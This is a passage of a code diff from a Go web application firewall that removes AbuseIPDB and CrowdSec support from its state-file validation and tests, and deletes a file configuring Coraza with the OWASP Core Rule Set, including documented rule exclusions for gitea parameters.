held := f.params.Alerts.Snapshot()
|
held := f.params.Alerts.Snapshot()
|
||||||
@@ -647,7 +644,7 @@ func (e BanEntry) ban() bans.Ban {
|
|||||||
// worked out, or an expires, which would make it permanent. A permanent
|
// worked out, or an expires, which would make it permanent. A permanent
|
||||||
// ban's expires is null, which Bans cannot tell from a missing one, so
|
// ban's expires is null, which Bans cannot tell from a missing one, so
|
||||||
// each expires is read again as written. A cause other than limit,
|
// each expires is read again as written. A cause other than limit,
|
||||||
// attack, admin or crowdsec, most likely misspelt, is refused too.
|
// attack or admin, most likely misspelt, is refused too.
|
||||||
func (f *bansFile) check(data []byte) error {
|
func (f *bansFile) check(data []byte) error {
|
||||||
var written struct {
|
var written struct {
|
||||||
Bans []struct {
|
Bans []struct {
|
||||||
@@ -669,8 +666,7 @@ func (f *bansFile) check(data []byte) error {
|
|||||||
case written.Bans[i].Expires == nil:
|
case written.Bans[i].Expires == nil:
|
||||||
return missing(i, "expires")
|
return missing(i, "expires")
|
||||||
case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
|
case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
|
||||||
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
|
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin:
|
||||||
entry.Cause != bans.CauseCrowdSec:
|
|
||||||
return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause)
|
return fmt.Errorf("entry %d's cause %q %w", i+1, entry.Cause, errCause)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -679,8 +675,8 @@ func (f *bansFile) check(data []byte) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// check refuses a client without its address, which would count nobody's
|
// check refuses a client without its address, which would count nobody's
|
||||||
// requests, or with requests, bytes or refusals in a window but no start,
|
// requests, or with requests or bytes in a window but no start, which
|
||||||
// which would drop them and give the client a fresh allowance.
|
// would drop them and give the client a fresh allowance.
|
||||||
func (f *clientsFile) check([]byte) error {
|
func (f *clientsFile) check([]byte) error {
|
||||||
for i, client := range f.Clients {
|
for i, client := range f.Clients {
|
||||||
switch {
|
switch {
|
||||||
@@ -698,8 +694,6 @@ func (f *clientsFile) check([]byte) error {
|
|||||||
return missing(i, "hour_bytes.start")
|
return missing(i, "hour_bytes.start")
|
||||||
case countsWithoutStart(client.DayBytes):
|
case countsWithoutStart(client.DayBytes):
|
||||||
return missing(i, "day_bytes.start")
|
return missing(i, "day_bytes.start")
|
||||||
case countsWithoutStart(client.MinuteRefusals):
|
|
||||||
return missing(i, "minute_refusals.start")
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -742,11 +736,9 @@ func (f *lookupsFile) check(data []byte) error {
|
|||||||
// of it without the time it was fetched, or without its lines, which hold
|
// of it without the time it was fetched, or without its lines, which hold
|
||||||
// the list. It refuses a verdict without its zone or its client, which
|
// the list. It refuses a verdict without its zone or its client, which
|
||||||
// would be about no one, whether the zone lists the client, or the time
|
// would be about no one, whether the zone lists the client, or the time
|
||||||
// it was fetched, which would drop it, and so an AbuseIPDB score without
|
// it was fetched, which would drop it. A verdict's listed is false for a
|
||||||
// its client, the score, or the time it was fetched. A verdict's listed is
|
// client the zone does not list, which Verdicts cannot tell from a
|
||||||
// false for a client the zone does not list, and a score can be 0, which
|
// missing one, so each listed is read again as written.
|
||||||
// the structs cannot tell from a missing one, so each is read again as
|
|
||||||
// written.
|
|
||||||
func (f *reputationFile) check(data []byte) error {
|
func (f *reputationFile) check(data []byte) error {
|
||||||
for i, kept := range f.Lists {
|
for i, kept := range f.Lists {
|
||||||
switch {
|
switch {
|
||||||
@@ -785,36 +777,6 @@ func (f *reputationFile) check(data []byte) error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return checkScores(f.AbuseIPDB.Scores, data)
|
|
||||||
}
|
|
||||||
|
|
||||||
// checkScores refuses an AbuseIPDB score, of scores, read from data, as
|
|
||||||
// reputationFile's check describes.
|
|
||||||
func checkScores(scores []reputation.Score, data []byte) error {
|
|
||||||
var written struct {
|
|
||||||
AbuseIPDB struct {
|
|
||||||
Scores []struct {
|
|
||||||
Score *int64 `json:"score"`
|
|
||||||
} `json:"scores"`
|
|
||||||
} `json:"abuseipdb"`
|
|
||||||
}
|
|
||||||
|
|
||||||
err := json.Unmarshal(data, &written)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
for i, kept := range scores {
|
|
||||||
switch {
|
|
||||||
case !kept.Client.IsValid():
|
|
||||||
return fmt.Errorf("abuseipdb scores %w", missing(i, "client"))
|
|
||||||
case written.AbuseIPDB.Scores[i].Score == nil:
|
|
||||||
return fmt.Errorf("abuseipdb scores %w", missing(i, "score"))
|
|
||||||
case kept.Fetched.IsZero():
|
|
||||||
return fmt.Errorf("abuseipdb scores %w", missing(i, "fetched"))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -900,8 +862,8 @@ func missingFromCounter(counter anomaly.Counter) string {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// countsWithoutStart reports whether b holds requests, bytes or refusals
|
// countsWithoutStart reports whether b holds requests, or bytes, but no
|
||||||
// but no start, which places them in time.
|
// start, which places them in time.
|
||||||
func countsWithoutStart(b ratelimit.Buckets) bool {
|
func countsWithoutStart(b ratelimit.Buckets) bool {
|
||||||
return b.Start.IsZero() && (b.Current != 0 || b.Previous != 0)
|
return b.Start.IsZero() && (b.Current != 0 || b.Previous != 0)
|
||||||
}
|
}
|
||||||
|
|||||||
+16
-130
@@ -75,15 +75,6 @@ const permanentBansJSON = `{
|
|||||||
"limit": 1000,
|
"limit": 1000,
|
||||||
"window": "minute",
|
"window": "minute",
|
||||||
"count": 1000.5,
|
"count": 1000.5,
|
||||||
"reputation": [
|
|
||||||
{
|
|
||||||
"source": "https://lists.example/drop.txt"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"source": "abuseipdb",
|
|
||||||
"score": 100
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"request": {
|
"request": {
|
||||||
"time": "2026-10-06T00:00:00Z",
|
"time": "2026-10-06T00:00:00Z",
|
||||||
"method": "GET",
|
"method": "GET",
|
||||||
@@ -97,8 +88,7 @@ const permanentBansJSON = `{
|
|||||||
"earlier_bans": {
|
"earlier_bans": {
|
||||||
"limit": 3,
|
"limit": 3,
|
||||||
"attack": 1,
|
"attack": 1,
|
||||||
"admin": 1,
|
"admin": 1
|
||||||
"crowdsec": 2
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -222,9 +212,8 @@ const filledAlertsJSON = `{
|
|||||||
`
|
`
|
||||||
|
|
||||||
// filledReputationJSON is reputation.json holding the blocklists' last
|
// filledReputationJSON is reputation.json holding the blocklists' last
|
||||||
// tries and the copy of one, with its comment line, two verdicts of a
|
// tries and the copy of one, with its comment line, and two verdicts of a
|
||||||
// DNSBL zone, and the AbuseIPDB checks spent today with two scores, as
|
// DNSBL zone, as fill puts them in.
|
||||||
// fill puts them in.
|
|
||||||
const filledReputationJSON = `{
|
const filledReputationJSON = `{
|
||||||
"version": 1,
|
"version": 1,
|
||||||
"lists": [
|
"lists": [
|
||||||
@@ -256,23 +245,7 @@ const filledReputationJSON = `{
|
|||||||
"listed": false,
|
"listed": false,
|
||||||
"fetched": "2026-10-05T22:00:00Z"
|
"fetched": "2026-10-05T22:00:00Z"
|
||||||
}
|
}
|
||||||
],
|
|
||||||
"abuseipdb": {
|
|
||||||
"day": "2026-10-06T00:00:00Z",
|
|
||||||
"spent": 3,
|
|
||||||
"scores": [
|
|
||||||
{
|
|
||||||
"client": "203.0.113.9/32",
|
|
||||||
"score": 100,
|
|
||||||
"fetched": "2026-10-05T23:00:00Z"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"client": "2001:db8::/64",
|
|
||||||
"score": 0,
|
|
||||||
"fetched": "2026-10-05T22:00:00Z"
|
|
||||||
}
|
|
||||||
]
|
]
|
||||||
}
|
|
||||||
}
|
}
|
||||||
`
|
`
|
||||||
|
|
||||||
@@ -309,11 +282,6 @@ func TestFilesWrittenAndReadBack(t *testing.T) {
|
|||||||
|
|
||||||
wantEqual(t, reputationJSON, after.DNSBL.Snapshot(), before.DNSBL.Snapshot())
|
wantEqual(t, reputationJSON, after.DNSBL.Snapshot(), before.DNSBL.Snapshot())
|
||||||
|
|
||||||
checks, wantChecks := after.AbuseIPDB.Snapshot(), before.AbuseIPDB.Snapshot()
|
|
||||||
if !reflect.DeepEqual(checks, wantChecks) {
|
|
||||||
t.Errorf("%s read back\n%+v\nwant\n%+v", reputationJSON, checks, wantChecks)
|
|
||||||
}
|
|
||||||
|
|
||||||
if got, want := after.Alerts.Snapshot(), before.Alerts.Snapshot(); !reflect.DeepEqual(
|
if got, want := after.Alerts.Snapshot(), before.Alerts.Snapshot(); !reflect.DeepEqual(
|
||||||
got, want) {
|
got, want) {
|
||||||
t.Errorf("%s read back\n%+v\nwant\n%+v", alertsJSON, got, want)
|
t.Errorf("%s read back\n%+v\nwant\n%+v", alertsJSON, got, want)
|
||||||
@@ -471,13 +439,10 @@ func TestMissingFilesAreEmptyState(t *testing.T) {
|
|||||||
load(t, params)
|
load(t, params)
|
||||||
|
|
||||||
held := params.Alerts.Snapshot()
|
held := params.Alerts.Snapshot()
|
||||||
checks := params.AbuseIPDB.Snapshot()
|
|
||||||
|
|
||||||
if len(params.Ledger.Snapshot()) != 0 || len(params.Limiter.Snapshot()) != 0 ||
|
if len(params.Ledger.Snapshot()) != 0 || len(params.Limiter.Snapshot()) != 0 ||
|
||||||
len(params.GeoJS.Snapshot()) != 0 || len(params.Lists.Snapshot()) != 0 ||
|
len(params.GeoJS.Snapshot()) != 0 || len(params.Lists.Snapshot()) != 0 ||
|
||||||
len(params.DNSBL.Snapshot()) != 0 || len(checks.Scores) != 0 || checks.Spent != 0 ||
|
len(params.DNSBL.Snapshot()) != 0 || len(held.Cooldowns) != 0 ||
|
||||||
len(held.Cooldowns) != 0 || len(held.Waiting[alerts.DestinationWebhook]) != 0 ||
|
len(held.Waiting[alerts.DestinationWebhook]) != 0 || held.Hour.Sent != 0 {
|
||||||
held.Hour.Sent != 0 {
|
|
||||||
t.Error("state from no files")
|
t.Error("state from no files")
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -639,15 +604,6 @@ func TestEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestClientWithRefusalsInTheMinuteWithoutTheirStartStopsTheStart(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
wantRefused(t, clientsJSON,
|
|
||||||
`{"version": 1, "clients": [{"client": "203.0.113.9/32", `+
|
|
||||||
`"minute_refusals": {"current": 2}}]}`,
|
|
||||||
`: entry 1 has no "minute_refusals.start"`)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
|
func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -722,47 +678,6 @@ func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestReputationJSONScoreWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// scores opens the list of AbuseIPDB scores, and ends closes it; client,
|
|
||||||
// score and fetched make a score.
|
|
||||||
const (
|
|
||||||
scores = `{"version": 1, "abuseipdb": {"scores": [`
|
|
||||||
client = `"client": "198.51.100.7/32", `
|
|
||||||
score = `"score": 0, `
|
|
||||||
fetched = `"fetched": "2026-10-06T00:00:00Z"`
|
|
||||||
ends = `}]}}`
|
|
||||||
)
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name, content string
|
|
||||||
// want is what the error says after the file's path.
|
|
||||||
want string
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
"without its client", scores + `{` + score + fetched + ends,
|
|
||||||
`: abuseipdb scores entry 1 has no "client"`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
// A score of 0 is not having none.
|
|
||||||
"without the score",
|
|
||||||
scores + `{` + client + score + fetched + `}, {` + client + fetched + ends,
|
|
||||||
`: abuseipdb scores entry 2 has no "score"`,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"without the time it was fetched", scores + `{` + client + `"score": 100` + ends,
|
|
||||||
`: abuseipdb scores entry 1 has no "fetched"`,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
wantRefused(t, reputationJSON, tc.content, tc.want)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAlertsJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
|
func TestAlertsJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -859,10 +774,8 @@ func TestBanWithAnotherCauseStopsTheStart(t *testing.T) {
|
|||||||
`{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+
|
`{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+
|
||||||
`"expires": null, "cause": "admin"}, `+
|
`"expires": null, "cause": "admin"}, `+
|
||||||
`{"netblock": "203.0.113.11/32", "start": "2026-10-06T00:00:00Z", `+
|
`{"netblock": "203.0.113.11/32", "start": "2026-10-06T00:00:00Z", `+
|
||||||
`"expires": "2026-10-06T04:00:00Z", "cause": "crowdsec"}, `+
|
|
||||||
`{"netblock": "203.0.113.12/32", "start": "2026-10-06T00:00:00Z", `+
|
|
||||||
`"expires": null, "cause": "atack"}]}`,
|
`"expires": null, "cause": "atack"}]}`,
|
||||||
`: entry 4's cause "atack" is not limit, attack, admin or crowdsec`)
|
`: entry 3's cause "atack" is not limit, attack or admin`)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestUnknownVersionStopsTheStart(t *testing.T) {
|
func TestUnknownVersionStopsTheStart(t *testing.T) {
|
||||||
@@ -940,7 +853,7 @@ func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) {
|
|||||||
load(t, read)
|
load(t, read)
|
||||||
|
|
||||||
want := []bans.Ban{first, second}
|
want := []bans.Ban{first, second}
|
||||||
if got := read.Ledger.Snapshot(); !reflect.DeepEqual(got, want) {
|
if got := read.Ledger.Snapshot(); !slices.Equal(got, want) {
|
||||||
t.Errorf("bans.json holds %+v, want %+v", got, want)
|
t.Errorf("bans.json holds %+v, want %+v", got, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1269,9 +1182,7 @@ func TestEditOfEachFileTakenIn(t *testing.T) {
|
|||||||
edit(t, dir, reputationJSON, `{"version": 1, "lists": [{"url": "`+blocklistURL+`", `+
|
edit(t, dir, reputationJSON, `{"version": 1, "lists": [{"url": "`+blocklistURL+`", `+
|
||||||
`"tried": "2026-10-06T00:00:00Z", "fetched": "2026-10-06T00:00:00Z", `+
|
`"tried": "2026-10-06T00:00:00Z", "fetched": "2026-10-06T00:00:00Z", `+
|
||||||
`"lines": ["198.51.100.7"]}], "verdicts": [{"zone": "`+dnsblZone+`", `+
|
`"lines": ["198.51.100.7"]}], "verdicts": [{"zone": "`+dnsblZone+`", `+
|
||||||
`"client": "198.51.100.7", "listed": true, "fetched": "2026-10-06T00:00:00Z"}], `+
|
`"client": "198.51.100.7", "listed": true, "fetched": "2026-10-06T00:00:00Z"}]}`)
|
||||||
`"abuseipdb": {"day": "2026-10-06T00:00:00Z", "spent": 9, "scores": [`+
|
|
||||||
`{"client": "198.51.100.7/32", "score": 80, "fetched": "2026-10-06T00:00:00Z"}]}}`)
|
|
||||||
wantTakenIn(t, lines, dir, reputationJSON)
|
wantTakenIn(t, lines, dir, reputationJSON)
|
||||||
|
|
||||||
listedBy := params.Lists.ListedBy(client.Addr())
|
listedBy := params.Lists.ListedBy(client.Addr())
|
||||||
@@ -1284,14 +1195,6 @@ func TestEditOfEachFileTakenIn(t *testing.T) {
|
|||||||
Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: midnight(),
|
Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: midnight(),
|
||||||
}})
|
}})
|
||||||
|
|
||||||
checks := reputation.Checks{
|
|
||||||
Day: midnight(), Spent: 9,
|
|
||||||
Scores: []reputation.Score{{Client: client, Score: 80, Fetched: midnight()}},
|
|
||||||
}
|
|
||||||
if got := params.AbuseIPDB.Snapshot(); !reflect.DeepEqual(got, checks) {
|
|
||||||
t.Errorf("%s taken in as\n%+v\nwant\n%+v", reputationJSON, got, checks)
|
|
||||||
}
|
|
||||||
|
|
||||||
// A netblock with bits past its length is read as the netblock it is
|
// A netblock with bits past its length is read as the netblock it is
|
||||||
// in.
|
// in.
|
||||||
edit(t, dir, alertsJSON, `{"version": 1, "cooldowns": [{"event": "ban", `+
|
edit(t, dir, alertsJSON, `{"version": 1, "cooldowns": [{"event": "ban", `+
|
||||||
@@ -1700,7 +1603,7 @@ func newParams(dir string) state.Params {
|
|||||||
AttackBanDuration: 7 * 24 * time.Hour,
|
AttackBanDuration: 7 * 24 * time.Hour,
|
||||||
MaxBans: 5000,
|
MaxBans: 5000,
|
||||||
}),
|
}),
|
||||||
Limiter: ratelimit.New(ratelimit.Limits{}, 20000),
|
Limiter: ratelimit.New(ratelimit.Limits{}),
|
||||||
GeoJS: lookup.New(lookup.Params{
|
GeoJS: lookup.New(lookup.Params{
|
||||||
Now: midnight, ProcessLog: discard, Metrics: m,
|
Now: midnight, ProcessLog: discard, Metrics: m,
|
||||||
}),
|
}),
|
||||||
@@ -1712,10 +1615,6 @@ func newParams(dir string) state.Params {
|
|||||||
Zones: []string{dnsblZone}, CacheTTL: 24 * time.Hour, Timeout: time.Second,
|
Zones: []string{dnsblZone}, CacheTTL: 24 * time.Hour, Timeout: time.Second,
|
||||||
Now: midnight, ProcessLog: discard, Alerts: queue,
|
Now: midnight, ProcessLog: discard, Alerts: queue,
|
||||||
}),
|
}),
|
||||||
AbuseIPDB: reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
|
|
||||||
MinScore: 75, DailyBudget: 900, CacheTTL: 24 * time.Hour, Timeout: time.Second,
|
|
||||||
Now: midnight, ProcessLog: discard, Alerts: queue,
|
|
||||||
}),
|
|
||||||
Alerts: queue,
|
Alerts: queue,
|
||||||
Anomalies: anomaly.New(anomaly.Params{
|
Anomalies: anomaly.New(anomaly.Params{
|
||||||
Net: anomaly.Thresholds{RequestsPerMinute: 1000},
|
Net: anomaly.Thresholds{RequestsPerMinute: 1000},
|
||||||
@@ -1738,12 +1637,10 @@ func office() netip.Prefix {
|
|||||||
return netip.MustParsePrefix("203.0.113.0/24")
|
return netip.MustParsePrefix("203.0.113.0/24")
|
||||||
}
|
}
|
||||||
|
|
||||||
// fill puts a permanent ban an admin made, a ban for a broken limit, one
|
// fill puts a permanent ban an admin made, a ban for a broken limit and
|
||||||
// for a clear sign of attack and one for CrowdSec's decision, clients
|
// one for a clear sign of attack, clients with counts and histories,
|
||||||
// with counts and histories,
|
// GeoJS answers, the blocklists' last tries and the copy of one, and two
|
||||||
// GeoJS answers, the blocklists' last tries and the copy of one, two
|
// verdicts of a DNSBL zone, as filledReputationJSON holds them, and alerts
|
||||||
// verdicts of a DNSBL zone, and the AbuseIPDB checks spent today with two
|
|
||||||
// scores, as filledReputationJSON holds them, and alerts
|
|
||||||
// and anomaly counters, as filledAlertsJSON holds them, into the parts of
|
// and anomaly counters, as filledAlertsJSON holds them, into the parts of
|
||||||
// params.
|
// params.
|
||||||
func fill(params state.Params) {
|
func fill(params state.Params) {
|
||||||
@@ -1756,8 +1653,6 @@ func fill(params state.Params) {
|
|||||||
})
|
})
|
||||||
params.Ledger.BanForAttack(netip.MustParsePrefix("192.0.2.1/32"), now,
|
params.Ledger.BanForAttack(netip.MustParsePrefix("192.0.2.1/32"), now,
|
||||||
bans.Notes{RuleID: "env-file", Target: "path"})
|
bans.Notes{RuleID: "env-file", Target: "path"})
|
||||||
params.Ledger.BanForCrowdSec(netip.MustParsePrefix("198.51.100.9/32"), now,
|
|
||||||
now.Add(4*time.Hour), "crowdsecurity/ssh-bf", bans.Notes{})
|
|
||||||
|
|
||||||
for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} {
|
for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} {
|
||||||
params.Limiter.Count(netip.MustParsePrefix(c), now, whole)
|
params.Limiter.Count(netip.MustParsePrefix(c), now, whole)
|
||||||
@@ -1801,10 +1696,6 @@ func fill(params state.Params) {
|
|||||||
},
|
},
|
||||||
{Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: now.Add(-time.Hour)},
|
{Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: now.Add(-time.Hour)},
|
||||||
})
|
})
|
||||||
params.AbuseIPDB.Load(reputation.Checks{Day: now, Spent: 3, Scores: []reputation.Score{
|
|
||||||
{Client: netip.MustParsePrefix("2001:db8::/64"), Fetched: now.Add(-2 * time.Hour)},
|
|
||||||
{Client: client, Score: 100, Fetched: now.Add(-time.Hour)},
|
|
||||||
}})
|
|
||||||
|
|
||||||
// An alert waiting, a repeat of it the cooldown holds back, another
|
// An alert waiting, a repeat of it the cooldown holds back, another
|
||||||
// alert waiting, and one past the two an hour, for the hour's summary.
|
// alert waiting, and one past the two an hour, for the hour's summary.
|
||||||
@@ -1832,8 +1723,6 @@ func fill(params state.Params) {
|
|||||||
|
|
||||||
// permanentBan is the ban permanentBansJSON holds.
|
// permanentBan is the ban permanentBansJSON holds.
|
||||||
func permanentBan() bans.Ban {
|
func permanentBan() bans.Ban {
|
||||||
score := int64(100)
|
|
||||||
|
|
||||||
return bans.Ban{
|
return bans.Ban{
|
||||||
Netblock: netip.MustParsePrefix("2001:db8::/64"),
|
Netblock: netip.MustParsePrefix("2001:db8::/64"),
|
||||||
Start: midnight(),
|
Start: midnight(),
|
||||||
@@ -1846,9 +1735,6 @@ func permanentBan() bans.Ban {
|
|||||||
Limit: 1000,
|
Limit: 1000,
|
||||||
Window: "minute",
|
Window: "minute",
|
||||||
Count: 1000.5,
|
Count: 1000.5,
|
||||||
Reputation: []bans.ReputationHit{
|
|
||||||
{Source: blocklistURL}, {Source: reputation.AbuseIPDBSource, Score: &score},
|
|
||||||
},
|
|
||||||
Request: bans.Request{
|
Request: bans.Request{
|
||||||
Time: midnight(),
|
Time: midnight(),
|
||||||
Method: "GET",
|
Method: "GET",
|
||||||
@@ -1859,7 +1745,7 @@ func permanentBan() bans.Ban {
|
|||||||
},
|
},
|
||||||
Requests: 1500,
|
Requests: 1500,
|
||||||
Refused: 3,
|
Refused: 3,
|
||||||
EarlierBans: bans.EarlierBans{Limit: 3, Attack: 1, Admin: 1, CrowdSec: 2},
|
EarlierBans: bans.EarlierBans{Limit: 3, Attack: 1, Admin: 1},
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -2024,10 +1910,10 @@ func edit(t *testing.T, dir, name, content string) {
|
|||||||
|
|
||||||
// wantEqual checks that the entries read back from file are those
|
// wantEqual checks that the entries read back from file are those
|
||||||
// written.
|
// written.
|
||||||
func wantEqual[E any](t *testing.T, file string, got, want []E) {
|
func wantEqual[E comparable](t *testing.T, file string, got, want []E) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if !reflect.DeepEqual(got, want) {
|
if !slices.Equal(got, want) {
|
||||||
t.Errorf("%s read back\n%+v\nwant\n%+v", file, got, want)
|
t.Errorf("%s read back\n%+v\nwant\n%+v", file, got, want)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,336 +0,0 @@
|
|||||||
// Package waf runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
|
||||||
// body while SWWAF_WAF_BODY_LIMIT is set, with the six changes smallwebwaf
|
|
||||||
// makes to it, as "Attack detection" under "Configuration surface" in
|
|
||||||
// SPEC.md describes them. It reads no response.
|
|
||||||
//
|
|
||||||
// smallwebwaf writes only to its state directory, so Coraza is built with
|
|
||||||
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
|
||||||
// file in a multipart body, Coraza then counts the bytes instead of
|
|
||||||
// writing them to the system's temporary directory.
|
|
||||||
package waf
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"net/http"
|
|
||||||
"net/netip"
|
|
||||||
"slices"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
|
|
||||||
"github.com/corazawaf/coraza/v3"
|
|
||||||
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
|
|
||||||
"github.com/corazawaf/coraza/v3/types"
|
|
||||||
)
|
|
||||||
|
|
||||||
// directives are the Core Rule Set as smallwebwaf runs it, with the
|
|
||||||
// paranoia level for %d, and bodyDirectives for %s while
|
|
||||||
// SWWAF_WAF_BODY_LIMIT is set. Each rule smallwebwaf adds has an id from
|
|
||||||
// 900000 to 900999, the ids the Core Rule Set keeps for the rules that set
|
|
||||||
// it up, which SWWAF_WAF_DISABLED_RULES refuses, so that no setting
|
|
||||||
// switches one off. Coraza joins a line ending in \ to the next, without
|
|
||||||
// the spaces at the start of the next.
|
|
||||||
const directives = `
|
|
||||||
# The engine only detects. smallwebwaf compares the request's anomaly
|
|
||||||
# score with SWWAF_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
|
|
||||||
# alike. It reads no body, unless bodyDirectives switch that on.
|
|
||||||
SecRuleEngine DetectionOnly
|
|
||||||
SecRequestBodyAccess Off
|
|
||||||
SecResponseBodyAccess Off
|
|
||||||
|
|
||||||
Include @crs-setup.conf.example
|
|
||||||
|
|
||||||
SecAction "id:900000,phase:1,pass,nolog,\
|
|
||||||
setvar:tx.blocking_paranoia_level=%d"
|
|
||||||
|
|
||||||
# The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD,
|
|
||||||
# POST and OPTIONS.
|
|
||||||
SecAction "id:900200,phase:1,pass,nolog,\
|
|
||||||
setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'"
|
|
||||||
|
|
||||||
# The second: Expect and Content-Encoding are taken off the Core Rule Set's
|
|
||||||
# list of the headers it refuses. Content-Encoding goes back on it for a
|
|
||||||
# body the Core Rule Set reads (900260 in bodyDirectives).
|
|
||||||
SecAction "id:900250,phase:1,pass,nolog,\
|
|
||||||
setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \
|
|
||||||
/if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \
|
|
||||||
/x-middleware-subrequest/'"
|
|
||||||
%s
|
|
||||||
# Coraza keeps the first 1000 query parameters of a request, and the first
|
|
||||||
# 1000 fields of a form data or JSON body, and drops the rest, which no
|
|
||||||
# rule then reads, so a request with more adds 5 to the score, as a rule
|
|
||||||
# the Core Rule Set rates critical does. Coraza's recommended
|
|
||||||
# configuration refuses such a request in its rules 200004 and 200005.
|
|
||||||
# This rule runs once the body is read, and before the Core Rule Set adds
|
|
||||||
# up the score in the same phase.
|
|
||||||
SecArgumentsLimit 1000
|
|
||||||
SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
|
||||||
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
|
|
||||||
|
|
||||||
# The sixth: only the rules for requests are loaded, and no response is
|
|
||||||
# inspected.
|
|
||||||
Include @owasp_crs/REQUEST-*.conf
|
|
||||||
|
|
||||||
# The third: redirect_uri is not checked for a URL naming an IP address or
|
|
||||||
# localhost. Coraza matches a parameter name here, and in the fourth,
|
|
||||||
# without regard to case. ARGS holds the fields of a form data or multipart
|
|
||||||
# body Coraza reads as well as the query parameters, so a field of one of
|
|
||||||
# these names is left out too.
|
|
||||||
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
|
|
||||||
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
|
|
||||||
|
|
||||||
# The fourth: the query parameters in which gitea sends names within a
|
|
||||||
# repository or its own records, or a page of its own site, are not
|
|
||||||
# checked against the lists of system files, shell paths and command
|
|
||||||
# names. Coraza takes one rule id per directive.
|
|
||||||
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
|
||||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
|
||||||
!ARGS:artifactName|!ARGS:redirect_to"
|
|
||||||
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
|
||||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
|
||||||
!ARGS:artifactName|!ARGS:redirect_to"
|
|
||||||
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
|
|
||||||
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
|
|
||||||
